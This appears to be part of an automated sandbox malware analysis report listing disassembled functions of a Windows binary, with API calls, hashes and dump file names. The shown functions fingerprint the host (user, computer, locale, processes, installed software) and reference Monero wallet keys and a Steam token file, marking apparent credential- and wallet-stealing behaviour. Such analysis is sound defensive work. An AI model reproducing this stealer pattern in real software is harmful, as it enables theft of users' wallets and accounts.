Instruction ID: 97862873d78c811323761b92426d64e85ddd1355493c06392983e09941c8dcc8
Opcode Fuzzy Hash: 551d70e11549fc5251d2b93311ef721d424c83314b6abbed607133bb6a83d475
Instruction Fuzzy Hash: 28E0E670945309FBE7106BA0AC0EB097A78BF05B01F104054F709775D0D6F926409B9D

Function 00531A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00537500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00537542
Part of subcall function 00537500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0053757F
Part of subcall function 00537500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537603
Part of subcall function 00537500: RtlAllocateHeap.NTDLL(00000000), ref: 0053760A

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 00537690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005376A4
Part of subcall function 00537690: RtlAllocateHeap.NTDLL(00000000), ref: 005376AB

Part of subcall function 005377C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0053DBC0,000000FF,?,00531C99,00000000,?,0108DDC8,00000000,?), ref: 005377F2
Part of subcall function 005377C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0053DBC0,000000FF,?,00531C99,00000000,?,0108DDC8,00000000,?), ref: 005377F9

Part of subcall function 00537850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005211B7), ref: 00537880
Part of subcall function 00537850: RtlAllocateHeap.NTDLL(00000000), ref: 00537887
Part of subcall function 00537850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0053789F

Part of subcall function 005378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537910
Part of subcall function 005378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00537917
Part of subcall function 005378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0053792F

Part of subcall function 00537980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00540E00,00000000,?), ref: 005379B0
Part of subcall function 00537980: RtlAllocateHeap.NTDLL(00000000), ref: 005379B7
Part of subcall function 00537980: GetLocalTime.KERNEL32(?,?,?,?,?,00540E00,00000000,?), ref: 005379C4
Part of subcall function 00537980: wsprintfA.USER32 ref: 005379F3

Part of subcall function 00537A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0108E920,00000000,?,00540E10,00000000,?,00000000,00000000), ref: 00537A63
Part of subcall function 00537A30: RtlAllocateHeap.NTDLL(00000000), ref: 00537A6A
Part of subcall function 00537A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0108E920,00000000,?,00540E10,00000000,?,00000000,00000000,?), ref: 00537A7D

Part of subcall function 00537B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0108E920,00000000,?,00540E10,00000000,?,00000000,00000000), ref: 00537B35

Part of subcall function 00537B90: GetKeyboardLayoutList.USER32(00000000,00000000,005405AF), ref: 00537BE1
Part of subcall function 00537B90: LocalAlloc.KERNEL32(00000040,?), ref: 00537BF9
Part of subcall function 00537B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00537C0D
Part of subcall function 00537B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00537C62
Part of subcall function 00537B90: LocalFree.KERNEL32(00000000), ref: 00537D22

Part of subcall function 00537D80: GetSystemPowerStatus.KERNEL32(?), ref: 00537DAD

GetCurrentProcessId.KERNEL32(00000000,?,0108DE88,00000000,?,00540E24,00000000,?,00000000,00000000,?,0108EB90,00000000,?,00540E20,00000000), ref: 0053207E

Part of subcall function 00539470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00539484
Part of subcall function 00539470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005394A5
Part of subcall function 00539470: CloseHandle.KERNEL32(00000000), ref: 005394AF

Part of subcall function 00537E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537E37
Part of subcall function 00537E00: RtlAllocateHeap.NTDLL(00000000), ref: 00537E3E
Part of subcall function 00537E00: RegOpenKeyExA.KERNEL32(80000002,0107B7E0,00000000,00020119,?), ref: 00537E5E
Part of subcall function 00537E00: RegQueryValueExA.KERNEL32(?,0108DD48,00000000,00000000,000000FF,000000FF), ref: 00537E7F
Part of subcall function 00537E00: RegCloseKey.ADVAPI32(?), ref: 00537E92

Part of subcall function 00537F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00537FC9
Part of subcall function 00537F60: GetLastError.KERNEL32 ref: 00537FD8

Part of subcall function 00537ED0: GetSystemInfo.KERNEL32(00540E2C), ref: 00537F00
Part of subcall function 00537ED0: wsprintfA.USER32 ref: 00537F16

Part of subcall function 00538100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0108E9E0,00000000,?,00540E2C,00000000,?,00000000), ref: 00538130
Part of subcall function 00538100: RtlAllocateHeap.NTDLL(00000000), ref: 00538137
Part of subcall function 00538100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00538158
Part of subcall function 00538100: __aulldiv.LIBCMT ref: 00538172
Part of subcall function 00538100: __aulldiv.LIBCMT ref: 00538180
Part of subcall function 00538100: wsprintfA.USER32 ref: 005381AC

Part of subcall function 005387C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00540E28,00000000,?), ref: 0053882F
Part of subcall function 005387C0: RtlAllocateHeap.NTDLL(00000000), ref: 00538836
Part of subcall function 005387C0: wsprintfA.USER32 ref: 00538850

Part of subcall function 00538320: RegOpenKeyExA.KERNEL32(00000000,0108B9D0,00000000,00020019,00000000,005405B6), ref: 005383A4

Part of subcall function 00538320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00538426
Part of subcall function 00538320: wsprintfA.USER32 ref: 00538459
Part of subcall function 00538320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0053847B
Part of subcall function 00538320: RegCloseKey.ADVAPI32(00000000), ref: 0053848C
Part of subcall function 00538320: RegCloseKey.ADVAPI32(00000000), ref: 00538499

Part of subcall function 00538680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005405B7), ref: 005386CA
Part of subcall function 00538680: Process32First.KERNEL32(?,00000128), ref: 005386DE
Part of subcall function 00538680: Process32Next.KERNEL32(?,00000128), ref: 005386F3
Part of subcall function 00538680: CloseHandle.KERNEL32(?), ref: 00538761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0053265B

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: aeb9c49f62437357764f9161c03f6466d9c3cf6d9acdc032207848d23714af34
Instruction ID: 6e05f22b1011d989738d40c7de86581c8cad363ffe36b4f4f315f542478b1a9e
Opcode Fuzzy Hash: aeb9c49f62437357764f9161c03f6466d9c3cf6d9acdc032207848d23714af34
Instruction Fuzzy Hash: 4C727E72C10119BADB19FB90DC9AEEEB73CBF94300F518299B15672095EF302B49CE65

Function 00526D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b92e208aae7006a1b818e811fdd55d456d6bee698ca10eaead30237c7ea2eb50
Instruction ID: 9f421b61da65242b76c099e9d3d824fdf6b74ca03854d4d8ca256bb3d6d3df3d
Opcode Fuzzy Hash: b92e208aae7006a1b818e811fdd55d456d6bee698ca10eaead30237c7ea2eb50
Instruction Fuzzy Hash: FB6136B4900229EFCF14DF94E988BEEBBB4BF45304F108598E41967280D775AE94DF91

Function 00535100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A820: lstrlen.KERNEL32(00524F05,?,?,00524F05,00540DDE), ref: 0053A82B
Part of subcall function 0053A820: lstrcpy.KERNEL32(00540DDE,00000000), ref: 0053A885

lstrlen.KERNEL32(00000000,00000000,00540ACA), ref: 0053512A

Strings

steam_tokens.txt, xrefs: 0053513F

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 3d72d45828a1c2d31d3eb41adf0d46815a0770b7ffc48b2c1258b37f8256492d
Instruction ID: 9b599d89afc9c3d5d35e2cbcd1d82023c4dcfbb35364fa8e1f7162dc35c8da7b
Opcode Fuzzy Hash: 3d72d45828a1c2d31d3eb41adf0d46815a0770b7ffc48b2c1258b37f8256492d
Instruction Fuzzy Hash: 5BF0CD7291010966DB14F7B0EC5B9EDBB3CBF94300F404168B49762492EF346619DAA6

Function 00537ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00540E2C), ref: 00537F00
wsprintfA.USER32 ref: 00537F16

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 5181d6a60c3889c6bf51fa5cb4738566bbe980e7320be8edc6c5c0dff8c6f519
Instruction ID: 595da8727c6170f982dd915370c2206d3cc504ae91885f48620eb83a8de5bb08
Opcode Fuzzy Hash: 5181d6a60c3889c6bf51fa5cb4738566bbe980e7320be8edc6c5c0dff8c6f519
Instruction Fuzzy Hash: 37F096B1A04208FBC710CF85DC45FAAFBBCF748714F004669F515A2280D7B959148BE5

Function 0052B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

lstrlen.KERNEL32(00000000), ref: 0052B9C2
lstrlen.KERNEL32(00000000), ref: 0052B9D6

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 4ab71895dbdcdac590b668335a1b1cdb180a3b9be3ceca2a75c114416854d7e2
Instruction ID: 43717ac32b4b65391f0aad08f53dbf948bf2f3e3d0d0499742dad8d081a2cdb1
Opcode Fuzzy Hash: 4ab71895dbdcdac590b668335a1b1cdb180a3b9be3ceca2a75c114416854d7e2
Instruction Fuzzy Hash: 34E10072910119ABDB04FBA0DC9AEEEBB38BF94300F404559F14776091EF746A49CFA6

Function 0052AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

lstrlen.KERNEL32(00000000), ref: 0052B16A
lstrlen.KERNEL32(00000000), ref: 0052B17E

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 6688f617606bcbe01fce5248a35c17706aa7218106c4109f5a07d3d0ce980fe5
